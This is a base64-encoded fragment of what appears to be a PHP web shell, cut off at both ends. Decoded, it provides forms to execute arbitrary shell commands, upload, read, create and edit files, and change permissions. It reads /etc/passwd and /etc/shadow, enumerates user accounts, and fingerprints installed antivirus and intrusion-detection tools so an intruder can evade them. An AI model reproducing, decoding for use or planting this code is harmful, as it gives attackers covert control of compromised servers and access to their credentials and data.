JGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJy
PicuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhy
ZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wn
LFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicuJGRyaXZlcy4nPC90ZD4nLgoJCSAn
PHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51
bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFy
c2V0Ij4nLiRvcHRfY2hhcnNldHMuJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZl
ciBJUDo8L3NwYW4+PGJyPicuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8
YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4n
PC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicuCgkJICc8dGFibGUgY2VsbHBhZGRpbmc9MyBjZWxs
c3BhY2luZz0wIHdpZHRoPTEwMCUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6dGVhbDsiPjx0cj4n
LiRtZW51Lic8L3RyPjwvdGFibGU+PGRpdj4nOwp9CmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgewoJ
JGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9
dGVhbD5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJs
ZSBdPC9mb250PiI7Cj8+CjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxs
cGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSI+Cgk8dHI+CgkJPHRkPjxmb3JtIG9u
c3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2Ug
ZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2
YWx1ZT0iPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pOz8+Ij48aW5wdXQgdHlw
ZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9Imco
J0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFk
IGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1m
PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4K
CQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZh
bHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFz
cz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+
PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9Imco
J0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7Ij48
c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRl
eHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3Jp
dGFibGU/PjwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnQ29uc29s
ZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFu
Pjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRo
b2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhp
ZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1j
IHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+CgkJPGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPgoJCTxpbnB1dCB0eXBlPWhp
ZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BP
U1RbJ2NoYXJzZXQnXTonJz8+Jz4KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1
dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZh
bHVlPSI+PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4KCTwvdHI+Cgo8L3RhYmxlPgo8
L2Rpdj4KPC9ib2R5PjwvaHRtbD4KPD9waHAKfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4
X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bv
c2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7
IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQi
KSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3Jn
aWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZh
bHNlOyB9IH0KZnVuY3Rpb24gZXgoJGluKSB7Cgkkb3V0ID0gJyc7CglpZihmdW5jdGlvbl9leGlz
dHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0
KTsKCX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJb2Jfc3RhcnQoKTsK
CQlAcGFzc3RocnUoJGluKTsKCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cgl9ZWxzZWlmKGZ1bmN0
aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKCQlvYl9zdGFydCgpOwoJCUBzeXN0ZW0oJGluKTsKCQkk
b3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cgl9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhl
YycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX1lbHNlaWYoaXNfcmVzb3VyY2UoJGYg
PSBAcG9wZW4oJGluLCJyIikpKSB7CgkJJG91dCA9ICIiOwoJCXdoaWxlKCFAZmVvZigkZikpCgkJ
CSRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7CgkJcGNsb3NlKCRmKTsKCX1lbHNlIHJldHVybiAi4iCz
IFVuYWJsZSB0byBleGVjdXRlIGNvbW1hbmRcbiI7CglyZXR1cm4gKCRvdXQ9PScnPyLiILMgUXVl
cnkgZGlkIG5vdCByZXR1cm4gYW55dGhpbmdcbiI6JG91dCk7Cn0KZnVuY3Rpb24gdmlld1NpemUo
JHMpIHsKCWlmKCRzID49IDEwNzM3NDE4MjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMg
LyAxMDczNzQxODI0ICkuICcgR0InOwoJZWxzZWlmKCRzID49IDEwNDg1NzYpCgkJcmV0dXJuIHNw
cmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKCWVsc2VpZigkcyA+PSAxMDI0
KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CgllbHNlCgkJ
cmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBwZXJtcygkcCkgewoJaWYgKCgkcCAmIDB4QzAw
MCkgPT0gMHhDMDAwKSRpID0gJ3MnOwoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkk
aSA9ICdsJzsKCWVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CgllbHNl
aWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwoJZWxzZWlmICgoJHAgJiAweDQw
MDApID09IDB4NDAwMCkkaSA9ICdkJzsKCWVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDAp
JGkgPSAnYyc7CgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJZWxz
ZSAkaSA9ICd1JzsKCSRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKCSRpIC49ICgo
JHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAm
IDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgkk
aSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/
ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3Mn
IDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoJJGkgLj0gKCgkcCAmIDB4
MDAwNCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwoJ
JGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgk
cCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCXJldHVybiAkaTsKfQpmdW5jdGlvbiB2aWV3UGVy
bXNDb2xvcigkZikgeyAKCWlmICghQGlzX3JlYWRhYmxlKCRmKSkKCQlyZXR1cm4gJzxmb250IGNv
bG9yPSNGRjAwMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKCWVs
c2VpZiAoIUBpc193cml0YWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4n
LnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwoJZWxzZQoJCXJldHVybiAnPGZv
bnQgY29sb3I9IzAwQThBOD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4n
Owp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewoJZnVuY3Rpb24gc2NhbmRpcigk
ZGlyKSB7CgkJJGRoICA9IG9wZW5kaXIoJGRpcik7CgkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVu
YW1lID0gcmVhZGRpcigkZGgpKSkgewogICAgCQkkZmlsZXNbXSA9ICRmaWxlbmFtZTsKCQl9CgkJ
cmV0dXJuICRmaWxlczsKCX0KfQpmdW5jdGlvbiB3aGljaCgkcCkgewoJJHBhdGggPSBleCgnd2hp
Y2ggJy4kcCk7CglpZighZW1wdHkoJHBhdGgpKQoJCXJldHVybiAkcGF0aDsKCXJldHVybiBmYWxz
ZTsKfQovLyBTZWMuIEluZm8gZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9u
U2VjSW5mbygpIHsKCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGlu
Zm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHNob3dTZWNQYXJh
bSgkbiwgJHYpIHsKCQkkdiA9IHRyaW0oJHYpOwoJCWlmKCR2KSB7CgkJCWVjaG8gJzxzcGFuPicu
JG4uJzogPC9zcGFuPic7CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNo
byAkdi4nPGJyPic7CgkJCWVsc2UKCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJl
Pic7CgkJfQoJfQoJCglzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NF
UlZFUl9TT0ZUV0FSRScpKTsKCXNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycs
ICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rp
b25zJ106J25vbmUnKTsKCXNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdv
cGVuX2Jhc2VkaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlf
Z2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNs
dWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CglzaG93U2VjUGFy
YW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJs
ZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0
X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2lu
Zm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtd
ID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10g
PSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRl
bXBbXSA9ICJPcmFjbGUiOwoJc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1w
bG9kZSgnLCAnLCAkdGVtcCkpOwoJZWNobyAnPGJyPic7CgkKCWlmKCAkR0xPQkFMU1snb3MnXSA9
PSAnbml4JyApIHsKCQkkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFr
ZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlw
MicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKCQkkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25v
ZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXIn
LCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3Bv
cnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9n
Y2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2Fu
JywnbmluamEnKTsKCQkkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcs
J2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKCQlzaG93U2VjUGFyYW0oJ1JlYWRh
YmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJl
Zj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+
W3ZpZXddPC9hPiI6J25vJyk7CgkJc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycs
IEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2co
XCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsK
CQlzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3Zl
cnNpb24nKSk7CgkJc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRz
KCcvZXRjL2lzc3VlLm5ldCcpKTsKCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7CgkJCWVj
aG8gJzxicj4nOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRl
bSkKCQkJCWlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CgkJCXNob3dTZWNQYXJhbSgn
VXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3Jl
YWNoICgkZGFuZ2VyIGFzICRpdGVtKQoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVt
O30KCQkJc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJJHRl
bXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAKCQkJCWlmKHdo
aWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CgkJCXNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMn
LCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJZWNobyAnPGJyLz4nOwoJCQlzaG93U2VjUGFyYW0o
J0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQlzaG93U2VjUGFy
YW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRp
b25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgICAgICAgICAg
ZWNobyAnPGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bh
bj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFs
dWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0
ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+
VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48
L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAg
ICAgICAgICAgICBpZiAoaXNzZXQgKCRfUE9TVFsncDInXSwgJF9QT1NUWydwMyddKSAmJiBpc19u
dW1lcmljKCRfUE9TVFsncDInXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AzJ10pKSB7CiAgICAg
ICAgICAgICAgICAgICAgJHRlbXAgPSAiIjsKICAgICAgICAgICAgICAgICAgICBmb3IoOyRfUE9T
VFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsKICAgICAgICAgICAgICAg
ICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAg
ICAgICAgICAgICAgICBpZiAoJHVpZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1w
IC49IGpvaW4oJzonLCR1aWQpLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAg
ICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0o
J1VzZXJzJywgJHRlbXApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Cgl9IGVsc2Ug
ewoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsgCgkJc2hvd1NlY1BhcmFt
KCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOyAKCQlzaG93U2VjUGFyYW0o
J1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicpKTsKCX0KCWVjaG8gJzwvZGl2Pic7Cglwcmlu
dEZvb3RlcigpOwp9Ci8vIFNlYy4gSW5mbyBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gRmls
ZSB0b29scyBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rv
b2xzKCkgewoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQoJCSRfUE9TVFsncDEnXSA9IHVybGRl
Y29kZSgkX1BPU1RbJ3AxJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCWlm
KGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJ
CW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKCQkJaGVhZGVyKCJDb250ZW50LURpc3Bv
c2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwoJ
CQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CgkJCQkkdHlwZSA9
IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwoJCQkJaGVhZGVyKCJDb250ZW50LVR5
cGU6ICIuJHR5cGUpOwoJCQl9CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CgkJ
CWlmKCRmcCkgewoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAx
MDI0KTsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEn
XSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewoJCX0KCQlleGl0OwoJfQoJaWYoIEAk
X1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CgkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEn
XSkpIHsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKCQkJaWYoJGZwKSB7CgkJ
CQkkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CgkJCQlmY2xvc2UoJGZwKTsKCQkJfQoJCX0KCX0KCXBy
aW50SGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50
Pic7CglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90
IGV4aXN0cyc7CgkJcHJpbnRGb290ZXIoKTsKCQlyZXR1cm47Cgl9CgkkdWlkID0gQHBvc2l4X2dl
dHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CgkkZ2lkID0gQHBvc2l4X2dldGdyZ2lk
KEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5o
dG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNf
ZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJyku
JyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10p
LicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFt
ZSddLic8YnI+JzsKCWVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0t
ZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9z
cGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bh
bj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BP
U1RbJ3AxJ10pKS4nPGJyPjxicj4nOwoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQoJCSRfUE9T
VFsncDInXSA9ICd2aWV3JzsKCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQoJCSRtID0gYXJy
YXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdD
aG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWVsc2UKCQkkbSA9IGFycmF5KCdDaG1vZCcsICdS
ZW5hbWUnLCAnVG91Y2gnKTsKCWZvcmVhY2goJG0gYXMgJHYpCgkJZWNobyAnPGEgaHJlZj0jIG9u
Y2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0
b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4g
JzsKCWVjaG8gJzxicj48YnI+JzsKCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3
JzoKCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEn
XSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8g
aHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJ
CX0KCQkJZWNobyAnPC9wcmU+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGlnaGxpZ2h0JzoKCQkJaWYo
IGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBz
dHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CgkJCQkkY29k
ZSA9IGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKCQkJCWVjaG8gc3RyX3JlcGxh
Y2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwk
Y29kZSkuJzwvZGl2Pic7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVt
